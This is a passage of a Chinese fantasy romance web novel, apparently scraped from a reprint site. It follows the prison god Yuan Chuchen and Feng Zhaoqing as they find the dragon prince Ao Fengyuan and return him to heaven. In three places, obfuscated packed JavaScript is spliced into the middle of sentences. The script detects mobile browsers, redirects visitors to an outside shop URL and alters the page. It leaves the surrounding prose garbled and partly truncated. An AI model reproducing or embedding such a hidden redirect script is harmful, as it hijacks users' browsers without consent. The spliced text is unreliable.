“就算那时候他真的得逞了,丰元死在了国公手里,线索也不会断,因为北海龙王还在;而你是不死之身,就算今夜他对你做什么,也只是缓兵之计。”风照卿眉头紧蹙,沉声道,“他并不担心线索暴露,只是在拖延时间。” 元出尘闻言,心里忽然一凉:无论丰元了解到的线索是什么,恐怕都已经没用了。 “不过,若他所做的一切,都只是为了拖延时间消灭证据,那他只要引导国公取出丰元的龙珠,让他失了法术即可,为何要说出让他杀了丰元的话?”这是唯一一个让风照卿想不通的点。 这一路找来,他们可以确定白家小姐一直将敖丰元带在身边照顾,即使敖丰元没死,天界也并不能第一时间发现他失踪的事,凶手大可以趁着这个时间去销毁证据,没有理由非要杀了他不可,诛杀龙族皇室可是重罪。 “所有的戕害都逃不开仇恨二字。”元出尘淡淡道。他任狱神近五百年,看尽了爱恨情仇,若非生恨,又怎会痛下杀手? 风照卿闻言浑身一僵,分明是青涩的面孔却覆满了风霜,眼底因爱恨交织而变得晦暗不明:那你呢?你当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052722|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初害我全族逼我自戕,也是对我满腔仇恨吗? 元出尘注意到风照卿的异样,关切道:“你还好吗?”不自觉地伸出手想去握住他冰冷的手,却在碰到他的一瞬被他狠狠地拍掉了手。 “别碰我!” 突如其来的愤怒让外头的结界都隐约有些颤动,在地上蜷成一团睡梦沉沉的啸天也抖了一下。 元出尘的手被打得都没了知觉,心中气恼他的喜怒无常,可一对上风照卿通红的眼睛时心里便只剩担忧,道:“你怎么了?” 风照卿看也不看他一眼,翻身下了床,靠在窗边一言不发。 元出尘看着他像个受气的小媳妇一样闹别扭,心中无可奈何,欲言又止止言又欲了半晌,才轻声道:“抱歉,是我冒犯了。不过……你对我若是有何不满直说便是,身为狱官,日后要协助我办案,若生出嫌隙总归不好。” 风照卿倔强的嘴唇紧抿着,依旧不开口,叫元出尘又是一阵手足无措,思来想去,猜想或许是风照卿对当初在沧海涯被奴针折磨一事耿耿于怀,又或者他本就厌恶外人口中那个“生性残暴”的狱神,毕竟当初他初次见到元出尘时也是一副嫌恶的模样。 想到这,元出尘踌躇着走到他身边,语气比方才更轻柔了些,声音低低的,甚至带了些许讨好,与传闻中不近人情的狱神判若两人:“你……若真是如此厌恶我,此事结束,我便去向天帝说明,为你另寻出路。” 话音刚落,客栈外的结界轰然炸裂,啸天猛地惊醒,从地上弹了起来,便见风照卿立在窗边,发丝无风自动,双眼通红,脖颈青筋暴凸,紧攥的拳头几乎要把自己的手捏碎,而在他面前的狱神大人则是一脸愕然。 “你!”风照卿满腔怒火无处发泄,被元出尘的话气得几乎要吐血,发丝疯狂飞舞,怒视着元出尘错愕的表情,心道方才就该让他被黑衣人掳走! 可转念一想,又突然意识到自己在无理取闹:他已经忘了一切,自然不知道自己刚刚说的那句话撕开了我的伤疤,而我又有什么立场、什么理由向他撒气呢? 胸口的那股恼火忽然被浇了一盆冷水,风照卿脸色铁青,僵硬道:“我没有厌恶你!”虽然已经极力克制自己,可语气还是很冲。 “……”元出尘无语凝噎:你这语气听起来可不像啊。 天边渐渐泛起了鱼肚白,啸天也已经醒来,三人便打算下楼去用个早膳,然后继续北上寻找敖丰元。 “神仙大人,今日想吃些什么?”掌柜满脸谄媚地站在一旁,若非风照卿阻挠,他方才都想跪下磕几个响头。 “清蒸莲子莲藕排骨莲叶饭,再来一壶九品莲花茶。”风照卿看也不看一眼菜单便说道。 元出尘脸都黑了,看了一眼风照卿,一肚子火却还是忍着没说话,暗自心中腹诽:本君堂堂狱神大人,何人见了不是畏畏缩缩,胆战心惊?那三个蠢货见了本君哪个不是毕恭毕敬,唯唯诺诺?本君几时这般低三下四,委屈求全?既然这么不想看见我,那我让你离开不好吗,居然还生气…… 啸天见眼前二人皆冷着脸一言不发,没眼力见地开口问道:“你们吵架了?” 两道眼刀霎时抵在啸天脖颈上,吓得他动也不敢动,委屈巴巴:主人,我想你了…… 17. 第 17 章 虽说对元出尘的怨念又加深了几分,可当下他毫无法力,又须得尽快寻得丰元下落,风照卿只能不情不愿地叼着那朵残破的青莲向北飞去。 啸天在陆地上飞快地跑窜着,一路嗅着丰元的气息,三人将将停在一处小镇上,重新化作了人形。 “这里!这里有丰元殿下的味道,和龙珠夜明珠的味道一样!”啸天兴奋地用手扒着元出尘和风照卿的衣服。 风照卿拿出打包好的三斤排骨给啸天,朗声一笑道:“辛苦你了,等救得了丰元,我们定会好好感谢你一番!” 难得听见风照卿心情舒畅的笑声,元出尘却不大高兴,那充满怨念的眼神仿佛被浸在醋里:对本君凶神恶煞,对他人倒是眉开眼笑。还有,“我们”是指谁,本君和你,还是丰元和你?大老远冒着被仇家折磨的风险来陪你找朋友,你真当本君是闲的吗?! 风照卿根本不在意那几乎要将他洞穿的目光,牵着啸天心情甚佳地寻找着丰元具体的方位。 今日恰逢凡界乞巧节,即使暮色沉沉,街上依然人来人往。年轻伴侣挽手相依,商贩小摊吆喝叫卖,青梅竹马追逐嬉戏,欢声笑语,好不热闹。 “真好,正赶上乞巧节。”风照卿上一世还活着的时候,凡界还未有乞巧节,因此这一世的他听说凡界居然出现了一个专用来寄托凡人美好爱恋的节日,一时新奇便去逛了逛,碰巧就看见了元出尘的狱神像。 “哼……”元出尘不屑一顾地嗤笑了一声。 “怎么?无人相伴,所以眼红这些情侣吗?”风照卿翻了个白眼道。 元出尘没想到风照卿居然会说这话来呛自己,倒也不生气,平静道:“你不过五百岁,哪里知晓这节日的由来有多可笑。” 风照卿扫了一眼元出尘身上的新衣服,依然是出自织女之手。联想到他方才的言语,风照卿忽然感到有些不可思议:“你……拆散了牛郎织女?” 元出尘这次真的被口水呛到了,咳得脸都红了,一张俊美的脸染了几分云霞,即使神情微怒,也叫人挪不开眼。 他怒道:“你在胡说八道什么?”现在这些小孩都在想些什么? 风照卿见他生气的样子终于有点前世的影子,心底攀起一丝愉悦,说道:“乞巧节不就是每年织女与牛郎相聚的日子吗?织女在凡界洗澡,遇见了牛郎,二人一见钟情,却被棒打鸳鸯,每年只有这一日才能在鹊桥相见。” “天界相貌堂堂的神君还少吗?织女为何会看上一介放牛郎?况且,天上一天地上一年,若他们二人当真按凡界的时间每年见一次,不就相当于织女每日都得抽空到鹊桥见他一面?织女负责整个天界的制衣,日常已是忙得晕头转向,哪来的闲工夫去见那个粗鄙的放牛郎。”元出尘娓娓道来,对这破绽百出的故事嗤之以鼻。 风照卿无言以对:上一世的元出尘不是挺懂风月之事的,怎么如今这般无趣…… 见半晌无人回应,元出尘微微低头看了一眼身侧的人:薄唇微翘,看起来好像不大高兴……莫非是本君扫兴了? 如是想着,元出尘不动声色地放慢了脚步,待到风照卿发现身边的人不见时,已看不到那个颀长修雅的身影。 “糟了!”风照卿浑身一颤,脸色煞白,急道:“快,啸天!找找出……狱神在哪?” 啸天有些纳闷:这四周的莲花香十分浓郁,狱神大人应该就在附近,风照卿也该闻得到才是,怎么还叫我找? 殊不知风照卿已经焦虑忧心得几乎五感皆失:狱神是不死之身,如今又暴露了行踪,那些潜藏的仇家对他虎视眈眈,若是落到他们手里,元出尘的处境不堪设想;凌迟分尸这一类的酷刑定会在他身上用个遍吧?杀一次,等他复活,再用下一道刑……他一定会被折磨得求生不能求死不得! 光是想想,风照卿已经怕得浑身颤抖了,脑子像一团浆糊一样混乱,完全忘记了先前自己还要“报仇雪恨”,慌乱地在人群中大喊道:“元出尘!”他哪里还顾得上周围凡人的奇异目光,凌波微步在人群中穿梭着,只剩一道残影,连啸天都被他甩在身后。 而此刻正猫着腰,悠哉悠哉挑选磨喝乐的元出尘被这一声突如其来的呼喊吓了一跳,茫然地直起身子四下张望着。他身形颀长,比周围大多数人都高许多,又戴着显眼的帷帽,因此一直起身风照卿便看到了他。 几乎是瞬移一般飞到元出尘面前,风照卿喘着粗气,两眼通红,不由分说地拉住元出尘的手,将他转了一圈查看是否受伤,确认无碍后,颤抖的声音竟带了几分哭腔,怒斥道:“你乱跑什么!知不知道多少人等着抓你呢?怎么敢不跟在我身边乱跑!” “我……”元出尘看着为自己着急的风照卿,方才心里那些酸涩一扫而空,把手里的磨喝乐捧到风照卿面前,“我给你挑了个礼物。” 风照卿微微一愣,低头看着他手里的磨喝乐:那是一个俏皮可爱的白胖娃娃,穿着红背心青纱裙,正盘腿坐着,手执莲花,肩头上站在一只小麻雀。 “方才……”元出尘本想说方才是自己扫兴了,这个磨喝乐送给风照卿赔罪,忽然又想起了自己可是高高在上的狱神,于是轻咳了一声,端着架子嘴硬道,“方才本君见凡界小孩都围着这只磨喝乐,想来你和他们也算同龄人,便买来慰劳一下你这一路的奔波劳碌。” “……”风照卿低头看了一眼那些在磨喝乐摊前精挑细选的小孩子,他们有些才到风照卿的大腿,分明是总角之年,而五百岁的风照卿就算按凡界算法也至少是个束发少年了,真不明白元出尘是瞎了哪只眼睛会将他们混成“同龄人”。 风照卿心想应该是元出尘自己喜欢,又不好意思说,所以才拿自己当挡箭牌。 懒得与他掰扯,风照卿收下磨喝乐,小心翼翼地装进乾坤袋内,隔着衣袖抓住元出尘的手腕,郑重道:“从现在起,不许离开我的视线。想买什么想玩什么说一声,别无声无息地自己不见了。” 元出尘不说话,只是由着风照卿拉着自己的手穿过人群去找啸天。陌生的温度隔着轻薄的衣物传到手腕上,他第一次觉得织女做的衣服是真好,让他能清楚地感受到来自风照卿的温暖……他自己都没察觉自己心底的这些欢欣代表着什么,只是觉得和这个才到自己下巴的少年待在一起,他心底总能升腾起一丝久违的暖意。 啸天一见到他们就兴奋地说道:“我找到丰元殿下了!前面的医馆,丰元殿下的气息很浓!” 无须多言,三人便匆匆来到医馆,与小厮说明来意后,便被带着往后院走去。 饶是元出尘心情甚佳,在看到敖丰元和一个凡人女子相拥在树下你侬我侬的情景时,也不禁面色一僵。 于风照卿而言,他与敖丰元不过几日未见,看着他徒然消瘦凄凉的身影,风照卿忍不住一阵心酸:上次相见,敖丰元还是那般恣意潇洒,与眼前这个脸色苍白双眼覆纱的窘困青年判若两人,难以想象他失了法力和眼睛后遭遇了什么。 风照卿自然也注意到那位凡人女子,想来她应该就是百姓口中的白姑娘,见到本尊才知道那些百姓并未夸大其词,确实是沉鱼落雁之容。 他抬起头看了一眼面色凝重的元出尘,轻声开口道:“这事怪不得丰元,他遭此大难,幸得白姑娘悉心照料,对她动了凡心实属人之常情……” 元出尘沉默半晌,终是点了点头,沉声道:“凡界种种本君不会与他计较,但回了天界若还难以割舍凡尘之事,就得按天界的规矩来了。” 风照卿看了一眼在树下难分难舍的二人,长叹了一口气,寻了一个机会喊道:“丰元!” 敖丰元身子一僵,寻着声音茫然地转过头,不知是欣喜还是忧虑:“照卿?” “抱歉,让你久等了……我们来接你了。”风照卿尽可能地温柔道。 这样温柔细腻的声音还是元出尘头一次听到,又不禁多看了风照卿两眼。 “你们?还有… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白忍冬不明所以,但还是坚定道:“我会的。” “丰元,该走了,你也不是孩子了,该知道如何决断,天帝和北海龙王都很担心你。你的眼睛本君会帮你治好,不必担忧。”元出尘说道。长痛不如短痛,还是赶紧离开,免得夜长梦多。 敖丰元沉默而又倔强地拉住白忍冬的手,泪水浸湿了白纱,糊在他的脸上显得有些狼狈。 白忍冬忍着泪,伸出手帮他把脸擦干净,温柔道:“丰元,回家吧。” 敖丰元哽咽的声音里竟透着委屈:“你要我走吗?” 白忍冬眼眶通红,虽然明知敖丰元看不见,却还是别开了脸才任由眼泪落下,努力装出轻松的声音道:“嗯,我就送你到这儿。” 敖丰元知道无论如何也改变不了这个结局,低下头贴着白忍冬的脸,眼泪滑进了白忍冬的脖颈。 “好,”敖丰元轻声说道,“忍冬,谢谢你。我……”我心悦你。 这四个字太沉重,敖丰元不知道该如何说出口,他怕不说自己会悔憾一生,可若说出口,自己什么都做不了,只会给她一场无法触及的泡影美梦。 终是无言,敖丰元斩了一段银丝放到白忍冬手中。 白忍冬再也控制不住,泪如雨下,却将敖丰元推开了,她怕自己忍不住要伸出手抱住敖丰元不让他离开。 听着白忍冬渐远的脚步声,敖丰元茫然地站在树下怔忡着,像是丢了魂一般。 风照卿伸手搭上他的肩膀,想开口安慰,可张开嘴却什么也说不出。他也如此不顾一切地爱过一个人,可那些爱不过是一场精心编织的谎言,是他一厢情愿;可丰元不同,他们两情相悦却天人永隔,唯有满腔遗憾难诉。 思量了半晌,风照卿终于低低开口道:“丰元,她……很美。” “嗯,我知道。”不需要眼睛,也知道。 18. 第 18 章 敖丰元满身伤回了天界,天帝与北海龙王震怒,天界众仙亦是人人惶恐,风兮仪之死已是满城风雨,如今尊贵如北海太子一般的人物都惨遭黑手,他们这些普通仙人又该如何自保? 敖丰浅一听到消息火速赶到龙神殿,见敖丰元双眼覆纱,失魂落魄地靠坐在床上,心如刀割,红着眼睛坐到床边,轻声道:“丰元,姐姐来了。” “姐姐……”敖丰元神色恍惚,摸索着拉住姐姐的手,一碰到她便像个孩子一样号啕大哭,“姐姐,你终于来了,我等你好久了……” 敖丰浅轻拍着弟弟的背,亦是哽咽道:“没事了没事了,回来就好……我会亲自去请洛胤上神来为你疗伤,你一定会好起来的。” “师父三界云游,行踪不定,龙王如若不弃,便由本君来为太子医治吧。”元出尘淡淡道。 敖丰浅看着这位俊美神君,一时竟没想起来是谁,蹙眉打量半晌才惊道:“狱神?您怎么会在这儿?” 狱神不在天狱,这是比金乌自西边升起还稀罕的事儿。 “本座命他去找丰元的。”烛夙忆说道。 敖丰浅闻言,感激道:“多谢狱神大人出手相助,来日狱神大人若有所求,北海水族定竭尽全力相助。” “其实本君并没有出什么力,是丰元的挚友、本君座下的朱雀狱官找到他的。”元出尘说着,眼眸含笑看向了恭恭敬敬立在一旁的风照卿。 风照卿闻言脸微微一红,没想到元出尘会这样说,一时有些不知所措。 “多谢朱雀狱官,今日匆忙,来日定带上厚礼相谢!” “龙王客气了,我初到天界时懵懂无知,幸得丰元关照,无论是作为朋友还是狱官,下界寻他都是应该的。”风照卿郑重道。 狱官虽官职不高,但对修为功法要求却甚高,非是上仙不可担之,敖丰浅见他年纪轻轻便能独掌一方,又与丰元交清颇深,便说道:“你年纪轻轻,该多多历练,如今丰元已复原职,要不你来龙神殿协理他,如何?” 闻言,烛夙忆与元出尘脸色皆是微微一变:我帮你找弟弟,你来跟我抢人? 未待元出尘阻止,风照卿连忙婉拒道:“照卿谢过北海龙王美意,但成为狱官,惩奸除恶,是照卿心之所向,别无他想。” 烛夙忆浅浅一笑,似是早有预料,元出尘却十分讶异:他……居然有这份心。 敖丰浅略有失望,但也不强人所难:“那好吧,既然如此,本君也不勉强。你过段时间得了空到北海来挑几件称手的法器吧,也算本君的一点心意。日后若是想来龙神殿,随时欢迎。” 烛夙忆轻咳一声,提醒自己的表姐她这位天帝还在,风照卿该去哪还得是她说的算。 “多谢北海龙王,丰元前些时候将北海神兵玄冰剑赠与照卿,照卿已然知足。”风照卿说道。 敖丰浅了然颔首,也不再勉强。 从凡界回来,经历过一番大起大落的敖丰元在元出尘调制的安神香中沉沉睡去,众人便移步正殿。 敖丰浅一想到弟弟空洞洞的眼窝就心疼得两眼通红:剜眼、割龙角、取龙珠,她自小锦衣玉食金尊玉贵的弟弟何时受过这种苦? “龙王不必担忧,丰元的眼睛交给本君就好。”元出尘伸出手,手心凭空出现了一个精致的琉璃盒,里面躺着一只灰蓝色的眼睛和一只琥珀色的眼睛。 风照卿略微惊讶,他分明记得那个国公自己的眼睛浑浊不堪,哪里是这般清透的琥珀色? “这是?”敖丰浅问道。 “灰蓝色的这只是丰元自己的眼睛,另一只被那凡人吃了;琥珀色的这只,是牛郎的。” 风照卿闻言瞪大了双眼,回想起昨日元出尘对乞巧节的由来嗤之以鼻的模样,一些细碎的东西忽然在他的脑海中拼凑成了一个完整的故事:丰元说过,狱神曾经剜去一个凡人的双眼和舌头却未遭天谴,那个凡人莫非是牛郎?他偷看织女洗澡于是被剜去双眼,散布谣言说自己与织女被棒打鸳鸯于是被割去舌头…… 所以,织女送他衣衫,是为了感谢他帮自己惩罚了牛郎吗? 注意到风照卿木然的神情,元出尘问道:“怎么了?” “没,没什么。”风照卿摇摇头,想起自己前段时间总因元出尘那些衣服吃醋,不禁有些脸红,但又嘴硬地在心底对自己说:我只是见不得他逍遥快活,不是吃醋,绝不是…… 元出尘看着他微红的脸颊,微微挑了眉,并未多问,只是告了辞回去准备换眼的工具和药材。 二人并肩走在天街上,来往仙人一见到狱神大人都吓得脸色惨白,风照卿陪着尴尬的微笑,还是阻止不了所有人躲瘟神般绕道而行。 风照卿无奈地轻叹一声,忽然想到这几百年元出尘在天狱内画地为牢,是不是和当初被禁足的自己一样寂寞,忍不住微微抬头看向他,谁知这一看竟对上了一双温柔的凤眸。 风照卿呼吸一滞,乱了方寸,做贼心虚一般赶紧低下头,便听见头顶传来一声轻笑,一时面上无光,羞恼道:“你、你看我做什么?!” “你不看我,怎么知道我看你?”元出尘诡辩道,凤眸眼尾飞扬,嘴角还带着浅浅笑意,一想到方才风照卿毫不犹豫地拒绝了北海龙王的提议,心就像浸在蜜罐里一样。 “我只是刚好抬头。” “我也只是刚好低头。” “你——”风照卿一时气结,不打算再开口,他从来没说赢过元出尘。 元出尘眼眸低垂,看着因为生气而微微撅嘴的风照卿,嘴角的笑意又深了些,不住地觉得风照卿真可爱真好看。 心底那股熟悉的感觉又钻了出来,他刚浮现到嘴边的笑意忽然僵住。那个反反复复的梦在他脑海中来回闪现,一股愧疚之意徒然升起,让他越是清楚自己对风照卿的感情,越是害怕面对这份感情。 虽然簪子断了的时候他看上去云淡风轻,但那也只是不想在风照卿面前流露出对另一个人的留恋。 或许当初对待那个人的感情也如当下这般强烈,所以才会有熟悉的感觉吧。可最后那人却惨死在自己怀中,还被世人遗忘,如今若连自己都忘了他,重新爱上旁人,对那人而言,是不是太过残忍? 这份纠结藏在元出尘心底,每每在他与风照卿相处甚欢时钻出,让他不敢直面内心。 风照卿注意到他的微妙的情绪,道:“怎么了?” 元出尘回过神来,淡淡道:“无碍,回天狱吧。” —— 天狱内,三位狱官跪在元出尘面前瑟瑟发抖,每个人面前都堆着一摞纸,密密麻麻抄写着上千条天条天规。 只一眼,元出尘就知道这三摞加起来都不及五千的一半。 “说吧,想挨鞭子还是想选别的惩罚?”元出尘微微挑眉道,毕竟每人打几千鞭,他也挺累的。 “别的惩罚!”三个人异口同声道。 “好。”元出尘勾了勾嘴角,饶有兴致道。 任职几百年,狱神大人笑过的次数屈指可数,他生得极美,笑起来本应是春风拂面般温暖,座下三人却不约而同地背脊一凉。 “玄武,罚俸十万功德。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052724|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >玄武狱官闻言,两眼一抹黑。 “青龙,下月天帝寿宴上,给众仙献舞。” 青龙瞬间变“红”龙。 “白虎,把你的收藏的神兵全部交出来。” 白虎试图挣扎:“大人……我,我还得抓罪仙呢……” “凭你的本事,赤手空拳也没几个人能从你手底下溜走的。”元出尘态度坚决,没得商量。 “可……” “再多说一个字雷鞭伺候。”一个人元出尘还是打得动的。 白虎立马闭了嘴。 元出尘轻咳一声,正色道:“朱雀。” 风照卿微微一愣,随即站到三位狱官身旁,道:“在。” “他们三人办事不周,而你却触犯天条。在凡界时,你在凡人面前使了仙术,理当受二十天雷,”元出尘神色严厉,忽而又话锋一转道,“不过,念及初犯又是救人心切,便罚你三个月俸禄吧。” 风照卿有些不明所以:我分明记得他说过天条里并没有罚俸一说啊…… “好了,就这样。你们三人退下吧。”元出尘对另外三位狱官挥了挥袖子,他们便愁眉苦脸、急不可耐地退了出去,刚走到门口就开始吵架。 “都怪你们俩,我说了别罚别罚,你们非得给他治罪,这下好了,你们两个的惩罚不痛不痒,我可是没了十万功德啊!十万!”玄武泫然欲泣。 “怎么就怪我们俩,你罚李紫叶俸禄也会降天谴!你那十万功德算什么?也就一个月的俸禄,我得给众仙献舞,我要在众仙面前丢人!”青龙一副不想活的样子。 “什么功德脸面的,你俩就是矫情!早知如此,当时就该多打李紫叶几鞭子泄愤,我的金焰长矛还没捂热乎呢就被收走了,我才是亏大了!”白虎喘着粗气愤恨地一拳锤在石柱上。 玄武:“一天天就知道喊打喊杀,你什么时候能改改你那土匪脾气?!” 白虎:“守财奴你说什么?小心我烧了你的金库!” 玄武:“你敢?!” 青龙:“你们真真是肤浅粗鄙!” 玄武、白虎:“老古董你装什么呢!” “再吵全部给我去浸蛊池!”元出尘暴怒的声音从正殿传来,三人瞬间做鸟兽散。 风照卿满脸黑线,无奈道:“他们仨,一直这样吗?” 元出尘单手撑着额头,揉了揉隐隐作痛的太阳穴,点头应道:“嗯,吵了三百年,没完没了。从前风兮仪还能在其中斡旋,做个和事佬,现在已经没人制得住他们了。” 风照卿无奈地点点头,话锋一转,问道:“李紫叶呢?” 想起那只鲤鱼精元出尘就来气,翻了个白眼闷闷道:“天帝带走了。” 风照卿道:“虽说并未抓到现行,可他做为通界掌事,又寻亲心切,极有可能利用职务之便多次下界,还未查清是否有先例,天帝陛下就将他带走,恐怕不妥。” 元出尘轻叹一声,想到李紫叶那张脸就不自觉地把拳头捏的直响,冷道:“话虽如此,可天帝偏袒他,即使抓来了,最后找不出证据,还是得放。” “天帝为何偏袒他?”风照卿不解道。好歹从前也曾并肩作战,以他对烛夙忆的了解,李紫叶那唯唯诺诺的模样,不像是她会喜欢的人,而她也并非是个感情用事之人。 元出尘眼神盯着远处,似乎想起了很久以前的一些事情,沉默半晌,还是决定不与风照卿细说,淡淡道:“天规三百七十九条,不得妄议天帝。” “哦……”风照卿只好作罢:罢了,待丰元醒了,问问他便是。 19. 第 19 章 不得不说,元出尘的医术确实高明,换眼后七日敖丰元便已重复光明,又修养了一个月龙角也重新长了出来。 朱雀狱官掌管的南方近来少有罪仙,因而风照卿一直都处于闲暇状态,时不时便到龙神殿陪敖丰元说说话。 敖丰元身上的伤虽已渐渐恢复,但精神还是比不得从前,心病难医,他每日都抱着一件绣着四不像的斗篷睹物思人。 “凡界已经过去三十年了。”敖丰元淡淡开口道。 “嗯。”风照卿点点头,在心底轻叹了一声。他这些天给敖丰元从凡界搜寻来不少戏折子,可敖丰元连翻都没翻,换做从前,他现在应该已经可以敲着醒木摇着玉折扇,绘声绘色地给风照卿讲故事了。 想来他刚重生那会儿,在凡界也是如此颓靡的状态,若非见到了元出尘的神像,这会儿还不知道在做什么呢。 “不知道她过得好吗?会不会,嫁人了?”敖丰元喃喃自语道。 “要不,我去天府宫帮你找司命星君问问?” “不要!”敖丰元忽然激动道,整个人埋进斗篷里,“不!我不想知道……我一想到有个普普通通的凡人能与她共度一生而我与她只有三年时光,就恨不得从归尘台跳下去!我甚至不知道她的模样……” 风照卿轻轻拍着敖丰元颤抖的背,宽慰道:“有些人,遇见已是幸事。” 半晌,敖丰元才忽然抬起头来,似是想起了一件重要的事,抓着风照卿的手腕急道:“杀害风兮仪的凶手抓到了吗?” 风照卿默然,不知该如何告诉敖丰元,他千辛万苦历经磨难带回的线索根本没有用,他们去清点了四海内所有拥有水丝的龙族,所有人手中的水丝数量无一错漏,也并未有丢失。 敖丰元见风照卿低头不语,心中了然,自嘲一笑:“孟尚之说得没错,我就是个废物,成事不足败事有余……” “不是的!丰元,虽然还未抓到凶手,但我们可以肯定那个凶手一定是与龙族有关系的人啊,这么重要的线索怎么能是没用的呢,追查凶手本就不是件容易的事,那个凶手敢明目张胆地在天街杀上仙,又敢对你动手,一定做了很周全的计划,我们不可能这么轻易抓到他的。” 敖丰元沉默地点点头,但眼里还是暗淡无光。 见他还是无精打采,风照卿欲言又止,不知该说些什么才能让他好受些。 敖丰元却对他扯了个浅笑,说道:“我没事的,照卿。明日就是天帝陛下的寿宴了,你早点回去休息吧,明日见。” 风照卿无奈起身,却还是担心,吩咐一旁的仙童照顾好敖丰元,然后才回到天狱。 元出尘端坐在正殿内,面带笑意地将桌上七套崭新的青衫一件一件拿起来端详一番,再仔仔细细叠好放回,如此不知重复了多少次,才终于等到风照卿回来。 风照卿冲他随意地点点头,便打算回屋里休息,却被叫住了。 “照卿,过来。”风照卿从来没叫过元出尘“狱神大人”,从前他对此颇有微词,但现在觉得叫了反而生分。 风照卿不明所以问道:“何事?” 元出尘道:“无事叫不得?” 风照卿低头不语,似是默认。 元出尘想到他最近一闲下来就往龙神殿跑,连影子都见不到,更不高兴了,道:“无事可做也别瞎跑,帮我审问罪仙,陪我整理刑薄。” “哦。”风照卿左耳进右耳出,随口应道。 元出尘没把风照卿漫不经心的态度放在心上,反正他对自己就是这样的,前些时间在凡界惹他不高兴,做些补偿也是应该的。 他拿起一件衣裳在风照卿身上比划了一下,正合适,道:“这些是给你的。” 风照卿微微瞪大了眼睛,眼底似有光,不解道:“为何?” 元出尘自然不会说是为了哄他开心,迟疑片刻,道:“这几日在凡界辛苦你了,我见你喜欢织女亲制的衣衫,便托她为你做了七套,可还喜欢?” 风照卿自然是喜欢的,上辈子的他作为三太子都不曾有过织女亲手做的衣服,现在居然能有七套。他伸手抚上那用天青色彩霞织就的衣衫,触感柔软细腻,若有似无,衣襟处或绣着云纹,或绣着羽翼,其中一套还有莲纹,样式淡雅不俗,叫他爱不释手。 他轻轻点了点头,旋即又猛地摇摇头,义正言辞道:“这不合适!仙官都有各自的官服,我,我身为朱雀狱官自然是该穿这绛色官服。” 元出尘微微蹙眉,心想他什么时候和青龙学得如此死板?霸道开口道:“青色更适合你。谁若敢说你的官服不合规矩,就请他来天狱与本君喝个茶。” “……” “这七套你先穿着,日后若是长高了再让织女做新的。”元出尘轻描淡写地说道,完全不知道外头想让织女给自己做件衣服的神仙能从南天门排到北海龙官。 “不用了不用了,我一介狱官,怎么好劳烦织女仙子给我做那么多衣服呢。”风照卿并不希望自己太过惹眼,连忙拒绝了元出尘的好意。 似是觉得风照卿说的在理,元出尘颔首道:“也是,那到时你穿我的好了。” “?”风照卿大为震惊,微微后仰,不知元出尘这是怎么了。 元出尘倒是不在意他的反应,勾起了一个狡黠的笑容说道:“如果你能长得和我一样高的话。” “谁要穿你的衣服……”风照卿道,心中暗自腹诽:我日后确实不如你高,不过也只差一点点! “好了,回去休息吧,明日天帝寿宴,记得穿新衣服。”元出尘心情甚好,声音也比往常更温柔些,让风照卿听了心里怪怪的。 “嗯。” 抱着衣服回到寝屋,风照卿却没有马上睡下,而是拿着一只迷穀树枝细细雕刻。 他记得再过些日子就是元出尘的生辰了,那只青鸾发簪他戴了五百多年,他既然舍不得,风照卿便想雕只新的送他,也作为感谢他送自己衣服的回礼。 元出尘送的磨喝乐静静地坐在桌案上,风照卿看着它心底有些复杂。 他实在搞不懂元出尘心底在想些什么,前一世他对自己万般温柔,转头却想亲手杀了自己,而这一世呢?他不记得风照卿,风照卿也只是个普普通通的雀仙,但他待风照卿还是明显不同于他人……风照卿不敢猜想他现在对自己究竟是什么感情,怕到头来又是一场泡影。 他心中思绪万千,但手上却并未停歇,不过片刻,一朵栩栩如生的青莲便在迷穀树枝末端“绽放”开,虽有些残缺不全,但依然不失那与生俱来的孤傲清冷。 细细端详着木簪,他又想到那日元出尘六神无主的模样,心道:你从前不是说那一切都是骗局吗?那木簪断了又有什么可惜的呢?难道,你当时说的不是真心话吗…… 风照卿重重叹了口气,摇了摇头不愿再想那些事情,握着木簪沉沉睡下。 翌日清晨,白虎十分粗鲁地拍着风照卿的房间,几乎要把朱雀殿拍塌,粗声粗气喊着,话语间有藏不住的兴奋:“朱雀!朱雀!赶紧起来,去看青龙跳舞!” “来了来了。”风照卿迷迷糊糊地穿上新衣服,把昨夜雕刻的木簪揣进怀里,揉着眼睛打开了门。 屋外的玄武和白虎本是满脸兴奋,在见到风照卿的时候却愣住了。 玄武迟疑片刻,旋即两眼放光,珍贵地捧起风照卿的一片衣角说道:“这这,这是织女做的衣衫!” 白虎脸一板,双手叉腰道:“朱雀,你怎么能穿狱神大人的衣服!” “你这没见过世面的土包子,看清楚了,这上头的暗纹是朱雀!尺寸也比狱神大人的小多了,这是朱雀自己的衣服。哎哟我滴乖乖,之前怎么没看出来你竟家财万贯啊!”玄武哈喇子都要流到风照卿衣角了,他见到的不是衣服,而是一座功德山啊!要知道他得不吃不喝工作一年才买得起一件织女亲制的中衣,风照卿随随便便就穿着一整套,可见家底丰厚。 